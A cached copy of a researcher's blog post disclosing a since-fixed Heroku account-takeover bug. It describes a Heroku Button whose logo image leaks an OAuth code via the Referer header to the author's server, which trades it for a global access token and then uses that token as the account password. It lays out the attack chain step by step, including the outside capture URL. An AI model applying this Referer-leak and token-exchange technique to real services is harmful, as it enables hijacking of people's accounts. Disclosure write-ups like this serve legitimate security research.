The last time Hackerfall tried to access this page, it returned a not found error. A cached version of the page is below, or clickhereto continue anyway

Taking over Heroku accounts

This is the first time Im proud of a vulnerability I find.

Prior to publishing this blog post, the team at Heroku fixed the vulnerability on 5/26, and it is no longer exploitable.

Context

Heroku has a feature called Buttons, which let you one-click provision, configure and deploy third party components, libraries and pattern apps. You can notice the button on Github like here: https://github.com/ParsePlatform/parse-server-example. In this case, when you click on , you are redirected to https://dashboard.heroku.com/new?button-url=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example.

Anyone can create a Button: https://devcenter.heroku.com/articles/heroku-button.

I created a Button https://github.com/esevece/heroku_test that only includes the required file app.json. Because app.json is the file from where Heroku gets the information about the Button.

I tried injecting HTML attributes and tags in app.json to achieve XSS, but the special characters are being escaped in the client side (if you can do it, report it!). However, I noticed that I can set the URL of the "logo" to any value. This URL is used as the src of an <img> created when https://dashboard.heroku.com/new is loaded.

When using <img>s the Referer header is sent with the URL that requested the image as the value, which allows the image to capture this URL in the server-side. I was only able to capture the Referer from a different domain using Firefox, Safari, Internet Explorer and Edge, but not using Chrome.

More ways to leak HTTP requests: https://github.com/cure53/HTTPLeaks.

Vulnerability

What I had until now was that when I load https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&other_parameter=with_value, <img src="https://avatars0.githubusercontent.com/u/1294580?v=3&amp;s=200" class=""> is created and the browser makes a request to https://avatars0.githubusercontent.com/u/1294580?v=3&s=200 with the header Referer: https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2FParsePlatform%2Fparse-server-example&other_parameter=with_value. But I didnt have any critical parameter+value in the URL.

I played with OAuth and the applications owned by Heroku, with the intention to point the redirect_uri to https://dashboard.heroku.com/new?template= where I could leak the Referer without success.

I dont remember when, but I noticed that a parameter code is added to https://dashboard.heroku.com/[path_requested] after authentication. The value of this parameter is sent to an endpoint which doesnt have CSRF protection and returns a JSON response including an "access_token" with global scope. This global scope allows you to do anything with the account using the API! However I couldnt change the password or the email of the account, until [to be continued ]

Attack

Only worked if the user was already authenticated.

  1. Send user to

     https://longboard.heroku.com/login?state=https%3A%2F%2Fdashboard.heroku.com%2Fnew%3Ftemplate%3Dhttps%253A%252F%252Fgithub.com%252Fesevece%252Fheroku_test
    

  2. User is redirected to

     https://id.heroku.com/oauth/autorize?client_id=....
    

  3. User is redirected to

     https://longboard.heroku.com/auth/heroku/callback?code=....
    

  4. And finally, the user is redirected to

     https://dashboard.heroku.com/new?template=https%3A%2F%2Fgithub.com%2Fesevece%2Fheroku_test&code=...
    

  5. Once the page loads, a request is made to the Github API to get the file app.json

     https://api.github.com/repos/esevece/heroku_test/contents/app.json?ref=master
    

  6. The <img src="https://u00f1.xyz/heroku/poc.php"> is created and the image is loaded, sending the code in the Referer

  7. My file poc.php captures the Referer, extracts the code and makes a POST request to

     https://longboard.heroku.com/login/token
    

    with the value of the parameter password set to the value of code

  8. poc.php takes the "access_token" from the last response and makes a GET request to

     https://api.heroku.com/account
    

    with the header Authorization: set to Bearer [the_access_token]

  9. poc.php takes the "email" from the last response and sends an email to the address

Art Attack

After reporting the vulnerability to Heroku, Patrik from Bugcrowd asked me to do whatever I could with his Heroku account. So, I started to look at what I could do and noticed that I couldnt change the email or password of his account.

I kept looking for ways to really take over his account, until I decided to try to use his access_token (that I had taken using the attack) as his password, and it worked! So, I changed his email.

Thanks

To Heroku for allow me to write about this vulnerability. To Patrik for push me to do something really bad with the bug.

If something is not correct or well explained, let me know. Maybe is because of my ignorance, my poor English or because I missed something.

Continue reading on esevece.github.io